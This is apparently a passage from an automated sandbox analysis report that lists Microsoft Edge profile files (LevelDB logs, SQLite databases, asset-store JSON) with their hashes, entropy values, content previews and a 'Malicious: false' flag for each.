C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222872956988926
Encrypted:	false
SSDEEP:	24576:IbPMZpVZfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVZfx2mjF
MD5:	74A9B73A91C5FAB3F515A6FCFF1C7B6C
SHA1:	BAFC8AE016EB4D45BD693AE93057EF2C3E03FA42
SHA-256:	EBCD9F98FFAE4490AC9AAC439243FB2CBE2EFEBA0F1B1A95CE7B43AB3217916F
SHA-512:	14EDE263488A330E3CC68BD09978C041985C1870AB4758C9316B7AA6263DE24561B58D62BEA8C9AA1C06DFBD326629E322164E37C0FF366F6013A8DC0C69D4FA
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.098821835332744
Encrypted:	false
SSDEEP:	6:HU81WulADM+q2PN723oH+Tcwt9Eh1tIFUt8YU8KdWAgZmw+YU8GADMVkwON723of:1XlADM+vVaYeb9Eh16FUt8JdWAg/+1AX
MD5:	3C1D576A3A88E39BFC13C5779B82EBE1
SHA1:	6615B3A99358FA3DB757A0AEE4B6C80BC7D8DE8B
SHA-256:	6E32F8DA794F360361A5F6D42302F21AE63D862E03F1D987E627CD7E28244BF9
SHA-512:	C83E377E65F499FBB12112ED5B23D4B163524E4962058BF98E96367DB93B661BE545D3DB8C27C2AA925C2DCA6EDD0ABC2B29662B43B718F4C26E5376B0D1E19A
Malicious:	false
Preview:	2024/11/12-11:07:44.763 1a8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-11:07:44.772 1a8c Recovering log #3.2024/11/12-11:07:44.777 1a8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.098821835332744
Encrypted:	false
SSDEEP:	6:HU81WulADM+q2PN723oH+Tcwt9Eh1tIFUt8YU8KdWAgZmw+YU8GADMVkwON723of:1XlADM+vVaYeb9Eh16FUt8JdWAg/+1AX
MD5:	3C1D576A3A88E39BFC13C5779B82EBE1
SHA1:	6615B3A99358FA3DB757A0AEE4B6C80BC7D8DE8B
SHA-256:	6E32F8DA794F360361A5F6D42302F21AE63D862E03F1D987E627CD7E28244BF9
SHA-512:	C83E377E65F499FBB12112ED5B23D4B163524E4962058BF98E96367DB93B661BE545D3DB8C27C2AA925C2DCA6EDD0ABC2B29662B43B718F4C26E5376B0D1E19A
Malicious:	false
Preview:	2024/11/12-11:07:44.763 1a8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/12-11:07:44.772 1a8c Recovering log #3.2024/11/12-11:07:44.777 1a8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46258777647609467
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBua0:TouQq3qh7z3bY2LNW9WMcUvBuD
MD5:	F3FAD67197C542C24D340509B02264F9
SHA1:	273A6D75257FC269814E32888B32CFA7D40173E7
SHA-256:	050DFEE739E980E7647E630CAC181C923DD933601D480279FA1F8BE1F1E2D999
SHA-512:	23DC0D8913745A6F9D8D2BC68C438C3DA911B4D90418CFDEB0D1C0952D4B2E7190EB5A37444F559702735742D8E7111B3696279BEB89024F9211AF088F1211D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.162774596028394
Encrypted:	false
SSDEEP:	6:HU8RRTN+q2PN723oH+TcwtnG2tMsIFUt8YU8RRTZZmw+YU8Ry9VkwON723oH+Tci:R6vVaYebn9GFUt8Gz/+GyD5OaYebn95J
MD5:	94DBFFE065C3B01634143D4ADFDD1E19
SHA1:	D0E9109CA44E80F39336B07EF10A8A445197054B
SHA-256:	BBD01DA1A6288FF6B23ACF87384374634F666C49B059C81961E42C348A0B5FA7
SHA-512:	91905999138E21C0F23CDF5AEBCE6D097B8DC55F8079FD184E528BE93A5A61DD3E0FD1BA68CDB3A50A132D77A636BB176491BCC543DE359B8B1A2C86AB30AAA4
Malicious:	false
Preview:	2024/11/12-11:07:40.294 1a28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/12-11:07:40.294 1a28 Recovering log #3.2024/11/12-11:07:40.295 1a28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.162774596028394
Encrypted:	false
SSDEEP:	6:HU8RRTN+q2PN723oH+TcwtnG2tMsIFUt8YU8RRTZZmw+YU8Ry9VkwON723oH+Tci:R6vVaYebn9GFUt8Gz/+GyD5OaYebn95J
MD5:	94DBFFE065C3B01634143D4ADFDD1E19
SHA1:	D0E9109CA44E80F39336B07EF10A8A445197054B
SHA-256:	BBD01DA1A6288FF6B23ACF87384374634F666C49B059C81961E42C348A0B5FA7
SHA-512:	91905999138E21C0F23CDF5AEBCE6D097B8DC55F8079FD184E528BE93A5A61DD3E0FD1BA68CDB3A50A132D77A636BB176491BCC543DE359B8B1A2C86AB30AAA4
Malicious:	false
Preview:	2024/11/12-11:07:40.294 1a28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/12-11:07:40.294 1a28 Recovering log #3.2024/11/12-11:07:40.295 1a28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6140487029309895
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mW+HJDH2CMA0:TLapR+DDNzWjJ0npnyXKUO8+jtDpvmL
MD5:	83C916B809193A7DCC40640A39D4BC91
SHA1:	DC4B15D658E282CDC727CF6FC00E8183018C234D
SHA-256:	D65DC01D1C1F2FDB45679E4C841B4631B53ED7F5C7EAE43045B29EFAA4EE578E
SHA-512:	5496581C9F5503886ECC89CF4841C65C0A6339038085B8E54D796F440F798976796C4323841815E0A96DDB9C34355D9DD33071602EDF2FBE00295877F5C60F32
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354146161371264
Encrypted:	false
SSDEEP:	6144:uA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:uFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	C019DAF540F05E4038C5CFEF5473DF9C
SHA1:	E684E4E96A647F6BBFDB3E3CF3CE1CE1F7FAF60D
SHA-256:	C9A60C41675153C369C918B6F1573F16055FEB47212D264A2F2812ABD5CF6248
SHA-512:	07A3AEE39AF92FBE80C90281386C12297EFBB7C36899247AA06659EC3A6BF0D6EBC3CEAC2F9F5F3FFD4157A7E828B265239E9D3715BAA625B17A6FD764454735
Malicious:	false
Preview:	...m.................DB_VERSION.1...q...............&QUERY_TIMESTAMP:domains_config_gz2...13375901266163960..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.135908296330916
Encrypted:	false
SSDEEP:	6:HU8oaQ4M1N723oH+Tcwtk2WwnvB2KLlVU81q2PN723oH+Tcwtk2WwnvIFUv:ox4saYebkxwnvFLtvVaYebkxwnQFUv
MD5:	1DC3AE266960DFA587055BCFF9684F1E
SHA1:	DB264F41A902480924C18AFCFCF08772EB0FF6BF
SHA-256:	74A50DE0A6AD81AF947829B56F6CB1811417033088F4EA327D93004CD43EF0E5
SHA-512:	3933E3939BD73B8CE2956D4B715002374F9151BD4107E53EC3448D3E89D216E2F984D469F272ED275A19DDED97ABAD2220AEC13D24E1170B5033537F11274721
Malicious:	false
Preview:	2024/11/12-11:07:44.795 c84 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/12-11:07:44.917 c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324622812283828
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R0:C1gAg1zfvM
MD5:	E156DF87A506BDA4A72797AD26A0054D
SHA1:	1C70B514B0564E9292442F3FB3B85651B2A324D6
SHA-256:	C8068B81F28E929195916841E6E341BBA5479CEC61EA1B5F50DAC90E46CD0048
SHA-512:	365507262C340538671899841942DE73E34A5784A39DC2B65B54C9F132DBD58EBFB5D791EDBD4DCDEDC544D04D4C6DD3F655453F5A87C32BA1403FB452169AB5
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.113148440866871
Encrypted:	false
SSDEEP:	6:HU8Ri+q2PN723oH+Tcwt8aPrqIFUt8YU8RmZmw+YU8RdxVkwON723oH+Tcwt8amd:RzvVaYebL3FUt8Gm/+G15OaYebQJ
MD5:	30017A5E043D618FB1C6F8D331A865A4
SHA1:	6697C148A792A8E494159F381E5E8A8D3FE2D0EC
SHA-256:	1590AA93F36DACF6765EB2C4466CBE9FD6645E740FF4D26217ECAD2F463F2737
SHA-512:	5E9D65C7537A1A4B72043A8946D2987FB65FDB1AE35BE2B31D255F141DEA93B06896F68AF1928D3ED066FF7B1006860D50F8FFC2C8CEB1CFBFCEB5B93E813DFB
Malicious:	false
Preview:	2024/11/12-11:07:40.297 1a28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/12-11:07:40.297 1a28 Recovering log #3.2024/11/12-11:07:40.298 1a28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.113148440866871
Encrypted:	false
SSDEEP:	6:HU8Ri+q2PN723oH+Tcwt8aPrqIFUt8YU8RmZmw+YU8RdxVkwON723oH+Tcwt8amd:RzvVaYebL3FUt8Gm/+G15OaYebQJ
MD5:	30017A5E043D618FB1C6F8D331A865A4
SHA1:	6697C148A792A8E494159F381E5E8A8D3FE2D0EC
SHA-256:	1590AA93F36DACF6765EB2C4466CBE9FD6645E740FF4D26217ECAD2F463F2737
SHA-512:	5E9D65C7537A1A4B72043A8946D2987FB65FDB1AE35BE2B31D255F141DEA93B06896F68AF1928D3ED066FF7B1006860D50F8FFC2C8CEB1CFBFCEB5B93E813DFB
Malicious:	false
Preview:	2024/11/12-11:07:40.297 1a28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/12-11:07:40.297 1a28 Recovering log #3.2024/11/12-11:07:40.298 1a28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.081838275219572
Encrypted:	false
SSDEEP:	6:HU8T+q2PN723oH+Tcwt865IFUt8YU8guCZmw+YU8gueVkwON723oH+Tcwt86+ULJ:qvVaYeb/WFUt8f/+N5OaYeb/+SJ
MD5:	99DD89540FB326AB9A63C1AFF0588A50
SHA1:	801745E2A9422E77D76B9A87F4980754CB0C68EE
SHA-256:	78C59FF6963DF830706044F0D5A048F53FB38B7FAC24B31E33FF13DCB973E0FB
SHA-512:	14BC781C28CA359D6FE6B17C8698AA8568C0C12C0F5241C1EAF919DF5F88B8D3980D523F20BCDB2F40624B15435317C2A33C91B0217D80A47622E7BFEA6112CA
Malicious:	false
Preview:	2024/11/12-11:07:40.300 1a28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/12-11:07:40.301 1a28 Recovering log #3.2024/11/12-11:07:40.301 1a28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.081838275219572
Encrypted:	false
SSDEEP:	6:HU8T+q2PN723oH+Tcwt865IFUt8YU8guCZmw+YU8gueVkwON723oH+Tcwt86+ULJ:qvVaYeb/WFUt8f/+N5OaYeb/+SJ
MD5:	99DD89540FB326AB9A63C1AFF0588A50
SHA1:	801745E2A9422E77D76B9A87F4980754CB0C68EE
SHA-256:	78C59FF6963DF830706044F0D5A048F53FB38B7FAC24B31E33FF13DCB973E0FB
SHA-512:	14BC781C28CA359D6FE6B17C8698AA8568C0C12C0F5241C1EAF919DF5F88B8D3980D523F20BCDB2F40624B15435317C2A33C91B0217D80A47622E7BFEA6112CA
Malicious:	false
Preview:	2024/11/12-11:07:40.300 1a28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/12-11:07:40.301 1a28 Recovering log #3.2024/11/12-11:07:40.301 1a28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.084226976801503
Encrypted:	false
SSDEEP:	6:HU8dNjlyq2PN723oH+Tcwt8NIFUt8YU8dlI/1Zmw+YU8d/jlRkwON723oH+Tcwt2:dNjlyvVaYebpFUt8eW/+e/jlR5OaYeb2
MD5:	4E188067E053376F9DE558E3390C59A7
SHA1:	09B8C3CE68EE7B598B4CE8F96A8B28E597F174AC
SHA-256:	99586D60E21142861CDF3801A8FA0D3A68572B7AE535632245F346AA2E685535
SHA-512:	3F7D870A6E8137EAA0A750807CD7F67ECAA6A968DFDEA41AF826F3989EBC8E99BFA33A5E4DAFAC5AD4ED3AD29E043C038132798A4B1C5712D04725FC5C88CF75
Malicious:	false
